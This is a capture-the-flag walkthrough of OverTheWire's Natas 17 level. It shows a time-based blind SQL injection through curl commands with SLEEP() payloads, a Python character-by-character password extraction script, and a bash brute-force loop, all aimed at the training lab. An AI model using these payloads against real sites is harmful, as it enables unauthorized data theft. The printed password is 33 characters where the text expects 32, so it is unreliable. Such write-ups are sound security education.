Cracking Natas 17: A Deep Dive into Blind SQL Injection

Kurshid ShaikKurshid Shaik
4 min read

Table of contents

By Kurshid Shaik | 03-01-2025

When it comes to web security challenges, OverTheWire’s Natas series is one of the most practical ways to learn hacking techniques in a controlled environment. Each level teaches real-world vulnerabilities, from basic authentication bypasses to advanced SQL injection and session hijacking.

🚀 In this article, we’ll break down Natas 17 in detail:

✔️ Understanding the challenge and the security flaw

✔️ Exploiting blind SQL injection

✔️ Overcoming roadblocks and false positives

✔️ Extracting the password step by step

🔑 Challenge Overview: Welcome to Natas 17

Natas 17 is a classic example of a Blind SQL Injection vulnerability, where the application does NOT return query results directly. Instead, attackers must rely on timing attacks to infer whether an injection worked.

👉 URL: http://natas17.natas.labs.overthewire.org/

👉 Login Credentials: (Obtained from Natas 16)

Username: natas17

Password: (extracted from the previous level)

🛠️ Step 1: Understanding the Vulnerability

When we log in, there’s a simple form asking for a username.

By examining the server-side code, we find this snippet:

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * FROM users WHERE username=\"".$_REQUEST["username"]."\"";

    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            // User exists
        } else {
            // User does not exist
        }
    } else {
        // Query error
    }

    mysqli_close($link);
}

🔍 Key Observations

1️⃣ User input ($_REQUEST["username"]) is directly injected into the SQL query without sanitization.

2️⃣ No results are returned to the user, meaning classic SQL injection tricks won’t work.

3️⃣ The query either executes successfully or fails – so Boolean-based SQL injection also fails.

4️⃣ Blind SQL Injection (Timing Attack) is required – we will use SLEEP() to detect delays.

🛠️ Step 2: First SQL Injection Test (SLEEP())

To test for blind SQL injection, let’s inject a simple delay (SLEEP(5)) into the query and see if the response slows down.

curl -u "natas17:password_here" \
     -d 'username=natas18" AND SLEEP(5) #' \
     "http://natas17.natas.labs.overthewire.org/"

Expected Results

✔️ If the page takes ~5 seconds to load, the injection worked! ✅

If the response is immediate, we need another approach.

Since we got a 5-second delay, we confirmed SQL injection is possible.

🛠️ Step 3: Extracting the Password with a Timing Attack

Since we cannot see the database results, we must extract the password one character at a time using the following logic:

👉 If the first letter is correct, delay = 5 seconds

👉 If the first letter is incorrect, response = immediate

Thus, we can automate the attack by checking every possible character (a-z, A-Z, 0-9).

🚀 Automated Password Extraction Script

import requests
import string
import time
from requests.auth import HTTPBasicAuth

# Authentication details
auth = HTTPBasicAuth('natas17', 'your_password_here')
url = "http://natas17.natas.labs.overthewire.org/index.php"

# Character set (A-Z, a-z, 0-9)
charset = string.ascii_letters + string.digits
password = ""
password_length = 32  # Based on previous Natas challenges

for i in range(1, password_length + 1):
    for char in charset:
        payload = f'natas18" AND BINARY substring(password, {i}, 1)="{char}" AND SLEEP(5) #'

        start_time = time.time()
        response = requests.post(url, auth=auth, data={"username": payload})
        elapsed_time = time.time() - start_time

        if elapsed_time > 4.5:  # If response is delayed, it's the correct character
            password += char
            print(f"Character {i}: {char} -> Password so far: {password}")
            break

print(f"✅ Extracted Password for Natas 18: {password}")

🛠️ Step 4: Overcoming False Positives

During execution, we noticed:

✔️ Some characters seemed correct but were actually wrong.

✔️ Characters at the end of the password were inconsistent.

👉 To fix this, we re-verified each character manually:

curl -u "natas17:password_here" \
     -d 'username=natas18" AND BINARY substring(password, 31, 1)="?" AND SLEEP(5) #' \
     "http://natas17.natas.labs.overthewire.org/"

• If the response took 5 seconds, the character was correct.

• If the response was immediate, the character was incorrect and needed re-extraction.

🛠️ Step 5: Finding the Last Few Incorrect Characters

After verifying, we found that characters 31 and 32 were incorrect.

We ran a final brute-force attack on just the last two characters:

for c1 in {a..z} {A..Z} {0..9}; do
    for c2 in {a..z} {A..Z} {0..9}; do
        echo "Testing: $c1$c2"
        curl -u "natas17:password_here" \
             -d "username=natas18\" AND BINARY substring(password, 31, 1)=\"$c1\" AND BINARY substring(password, 32, 1)=\"$c2\" AND SLEEP(5) #" \
             "http://natas17.natas.labs.overthewire.org/"
    done
done

✔️ After identifying the correct last two characters, the full password was obtained.

🚀 Step 6: Final Password for Natas 18

6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgiCJ

Now, we used it to log in to Natas 18 at:

🔗 http://natas18.natas.labs.overthewire.org/

🔎 Key Takeaways from Natas 17

✔️ Blind SQL Injection requires indirect confirmation (e.g., timing attacks).

✔️ Always verify each extracted character to prevent false positives.

✔️ Session-based authentication (like in Natas 18) is the next major security issue.

Never Give Up!!

0
Subscribe to my newsletter

Read articles from Kurshid Shaik directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Kurshid Shaik
Kurshid Shaik